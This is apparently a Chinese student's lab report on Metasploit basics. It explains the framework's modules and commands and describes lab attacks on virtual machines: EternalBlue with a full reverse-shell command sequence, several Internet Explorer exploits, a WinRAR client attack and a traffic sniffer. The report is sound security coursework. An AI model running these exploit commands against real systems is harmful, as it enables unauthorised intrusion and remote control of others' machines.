欢迎来到网络对抗路 实验六 MSF基础应用

目录

一、实践内容及原理

实践内容
1.一个主动攻击实践，如ms17_010
2.一个针对浏览器的攻击，如ms11_050
3.一个针对客户端的攻击，如Adobe
4.成功应用任何一个辅助模块
以上四个小实践可不限于以上示例，并要求至少有一个是和其他所有同学不一样的。

实践原理
1.MSF攻击方法
主动攻击：扫描主机漏洞，进行攻击
攻击浏览器
攻击客户端
2.MSF的六个模块
模块源码目录：/usr/share/metasploit-framework/modules

  • 渗透攻击模块Exploit Modules：攻击漏洞，把shellcode“背”过去
  • 辅助模块Auxiliary Modules：在进行渗透攻击之前得到目标系统丰富的情报信息，它是攻击的前提
  • 攻击载荷Payload Modules：载荷，一段指令（shellcode），目标系统在渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
  • 编码模块Encoders
  • 后渗透攻击模块Post：攻击成功之后，动态传输代码使其在被控机执行

3.常用命令

  • search name：用指定关键字搜索可以利用的漏洞模块
  • use XXXXX(exploit name)：使用漏洞
  • show options：显示设置
  • set XXX（option name）：设置选项
  • show payload：回连攻击载荷
  • show targets：显示版本
  • set TARGET XXXX(target number)：设置目标版本
  • exploit：开始漏洞攻击
  • sessions -l：列出会话
  • sessions -i id：选择会话
  • sessions -k id：结束会话
  • Ctrl+z：把会话放到后台
  • Ctrl+c：结束会话
  • show auxiliary：显示辅助模块
  • use auxiliary name：使用辅助模块

二、实验步骤

主动攻击的实践

1、MS17-010：深入分析“永恒之蓝”漏洞

EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。

靶机：Microsoft Windows 7(192.168.118.139)
payload :windows/x64/shell/reverse_tcp_uuid

nmap --script=vuln 10.1.1.137   //查看靶机开放端口、是否存在ms17_010
search ms17_010                      //搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue    //使用漏洞
show payloads                                                          //显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid     //选择攻击载荷
set LHOST 10.1.1.128                          //设置监听地址
set LPORT 5318                                   //设置端口号
set RHOSTS 10.1.1.137                       //设置靶机地址
show options                                         //查看配置信息
exploit                                                   //开始攻击

 

（1）首先查找是否存在ms17_010这个漏洞：

image
如图所示，漏洞存在。
（2）输入msfconsole打开MSF控制台，输入search ms17_010 查找漏洞
image
接着输入上面的监听者，被监听者，端口号等进行监听
（3）攻击，可以控制win7的shell
image

2、攻击浏览器的实践，ms13-008（失败），ms13_037（失败），ms14-064（成功）

ms13-008

靶机：Windows xp English
image
进入msf，使用search ms13查看漏洞位置
image
使用use exploit/windows/browser/ie_cbutton_uaf选择漏洞
输入show options看一下需要设置哪些
image
提示需要设置SRVHOST与SRVPORT

使用set SRVHOST 192.168.118.136设置监听者地址
使用set SRVPORT 8080设置监听者端口
exploit开始攻击
image
提示被攻击者访问http://192.168.118.136:8080/343iAnh
在xp访问该网站，但是msf显示ie不支持，攻击失败……

ms13_037

首先进入msf控制台search ms13
image
依旧是设置监听及被监听ip以及端口号
image
设好后发现要win7 sp1，打开win7 sp1虚拟机，执行攻击后打开网址发现可以运行
但是这浏览器给我拦截了，我把安全设置里的控件等全部调低，结果：
image
我裂开了啊= =

ms14-064

msf中使用use exploit/windows/browser/ms14_064_ole_code_execution选择攻击模块，设置好攻击机的IP与端口，使用的载荷等信息，然后开始攻击。在xp中打开生成的url，可以在kali中看到创建了一个链接：
image
使用ctrl+c退出当前状态，通过sessions -i 1获取第一个会话
使用ipconfig查看靶机地址：
image
发现攻击的是xp主机，攻击成功。

3、攻击客户端的实践，Winrar(成功且唯一)

使用下图中的命令生成.zip文件
image
把文件拖入winrar中输入：
image
结果如下：
image

4、成功应用任何一个辅助模块，sniffer监听(成功且唯一)

使用命令show auxiliary查看所有的辅助模块，我最后选择了sniffer嗅探器进行实验
调用模块use auxiliary/sniffer/psnuffle
设置好IP后直接运行监听，我在被监听机打开了百度，kali中马上就出现了相应记录，监听成功
image

三、实验收获与感想

本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性，也可以看出厂商在不断的修复自己的漏洞。其次，我觉得我们的实验与实际相差还是比较大的，要完成攻击还要把安全系数调低，可现实中谁会把自己的电脑安全设置调低呢？
在实验过程中我觉得看好该漏洞能攻击的对象是比较重要的一步，否则自己折腾半天也不会成功。在攻击前提前看好靶机要求是什么，要使用什么口令，设置什么参数，这样可以避免盲目的实践导致时间的浪费。
总的来说这次试验就是在考验我和我的电脑，遇事要平静的寻找解决方法，一味烦躁是没有用的，一个不行就在下一个呗。做完实验我也毫不犹豫地买了一个内存条，毕竟同时运行5个虚拟机可不是个轻松事……

1、问题回答

用自己的话解释什么是exploit,payload,encode.
Exploit是渗透攻击，就是攻击方利用系统或软件漏洞得到开发者没有预期到的结果，渗透攻击分为主动渗透攻击与被动渗透攻击
payload是载荷的意思，实验中指一段指令或shellcode，简单来说就是攻击后要执行的代码或命令
encode是编码的意思，通过编码可以消除渗透攻击过程中应加以避免的“坏字符”，如0x00空字节。代码开发者将坏字符统一标出，就成为了编码方式，可以直接拿来使用。

posted @ 2021-04-29 08:08  Li_Ang  阅读(230)  评论(0)  编辑  收藏  举报